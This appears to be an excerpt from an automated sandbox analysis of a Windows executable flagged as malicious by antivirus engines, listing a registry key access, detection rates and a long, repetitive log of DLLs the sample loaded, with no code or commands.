Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: UAHIzSm2x2.exe	Virustotal: Detection: 77%
Source: UAHIzSm2x2.exe	ReversingLabs: Detection: 87%

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe

File read: C:\Users\user\Desktop\UAHIzSm2x2.exe

Jump to behavior

Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: url.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\UAHIzSm2x2.exe	Section loaded: ieproxy.dll	Jump to behavior
